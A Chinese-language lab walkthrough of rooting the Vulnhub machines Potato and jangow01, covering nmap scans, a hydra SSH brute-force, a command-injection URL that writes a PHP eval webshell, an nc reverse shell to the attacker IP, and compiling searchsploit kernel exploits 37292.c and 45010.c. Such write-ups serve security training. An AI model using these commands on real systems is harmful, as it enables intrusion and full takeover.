Vulnhub靶机实战Linux内核提权合集(Potato、jangow01)
目录
Potato靶场
信息收集
主机发现
nmap 192.168.56.0/24 -sN

确认靶机ip为192.168.56.133。
端口扫描
# -p- 扫描所有端口
nmap 192.168.56.133 -p- -A

开放了80和7120端口。80端口一个大土豆,静态页面没东西。7120端口是一个ssh服务。

目录扫描
dirsearch -u http://192.168.56.133

info.php是一个phpinof()页面,内容如下:

渗透
根据目录扫描结果80端口没有突破点就看7120的ssh。
ssh爆破
使用九头蛇进行爆破,猜测用户名为potato,所以这里就是爆破密码。可以用kali自带的密码字典,在/usr/share/wordlists下,爆不出来就换个字典。
# hydra -l 用户名 -P 字典 ssh://ip:端口
hydra -l potato -P nmap.lst ssh://192.168.56.133:7120

拿到密码letmein。成功登录。

提权
几个常见的Linux提权方式,suid提权、sudo提权、系统内核提权。
# suid提权
find / -user root -type f -perm 4000 -ls 2>/dev/null
# sudo提权
sudo -l
都没法提权。尝试内核提权,uname -a 查看内核信息。

再收集版本号结合内核信息查找exp。cat /etc/*release

searchsploit查找exp。
searchsploit ubuntu 14.04

找到了合适的exp,将exp复制到当前目录下方便后面使用。
cp /usr/share/exploitdb/exploits/linux/local/37292.c .

想办法把37292.c放到目标机。开启一个web服务,使用python搭建简易的http服务器,在哪个目录运行网站根目录就在哪儿,所以不用切换目录。
python3 -m http.server 80

成功开启。目标机到web服务器上下载37292.c。
wget http://192.168.56.128/37292.c

下载后,修改37292.c权限,接下来gcc编译37292.c,生成一个可执行文件为exp。
gcc 37292.c -o exp
# 执行exp
./exp

成功提权。找到flag。

jangow01靶场
信息收集
主机发现和端口扫描
# 扫描192.168.56.0/24网段并返回端口版本
nmap 192.168.56.0/24 -sV -T4
| 攻击机(kali) | 192.168.56.102 |
|---|---|
| 靶机 | 192.168.56.118 |

端口扫描结果是开放了80、21端口。
web目录扫描
dirb http://192.168.56.118

web渗透
根据目录扫描的结果挨个访问。site目录,进入后是一个网站,找到一个疑似命令执行的点,这种也可能是ssrf,都尝试一下。
http://192.168.56.118/site/busque.php?buscar=
http://192.168.56.118/site/busque.php?buscar=id

确认是一个命令执行。继续做一些信息收集,netstat -ano 查看开放端口。

根据返回结果发现除了扫描出来的80,21端口开放还有3306和22端口开放,所以这里应该有防火墙。

# 找root权限账户
cat /etc/passwd | grep :0
# 找有shell权限的用户
cat /etc/passwd | grep /bin/bash

root和jangow01这两个账号有shell权限。
getshell
既然存在命令执行,写入一句话木马蚁剑getshell。
http://192.168.56.118/site/busque.php?buscar=echo '<?php @eval($_POST['shell']); ?>' >> getshell.php

成功连接后到处看看,发现备份文件,给出一个账号密码。

第二组账号密码。

有了密码但是没有登录的位置。
反弹shell
蚁剑上传一个反弹shell。(试了常规的bash反弹shell不成功不知道原因,端口也需要是443,因为端口80和443一般不会做限制。)
# 蚁剑写入反弹shell
# 反弹shell内容如下
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 443 >/tmp/f');?>
# 攻击机监听
nc -lnvp 443
访问该文件shell.php,攻击机显示连接成功。

# 切换为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
到当前用户的家目录看看有什么信息。

发现user.txt,内容是一串MD5加密内容,在线解密结果为空。

提权
前面没找到啥可以利用的信息,尝试内核提权。uname -a内核信息。根据内核信息使用msf查找exp。
searchsploit ubuntu 4.4.0

用45010.c。该文件在/usr/share/exploitdb/exploits/linux/local/目录下。按以往做法,开一个web服务,把45010.c挂载到web服务下,蚁剑靶机终端下载45010.c即可。
# 切换到45010.c所在的目录
cd /usr/share/exploitdb/exploits/linux/local/
# 该目录下开启web服务
python3 -m http.server 80
# 靶机终端下载
wget http://192.168.56.102/45010.c
但是发现靶机无法访问我们的攻击机,无法下载web服务器上的45010.c。此时回头想想通过web服务器太复杂了而且此处走不通,有简单粗暴的方法:将45010.c直接通过蚁剑上传。

给45010.c增加可执行权限,再进行编译。

./45010。成功提取。

最终flag在/root/proof.txt内。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)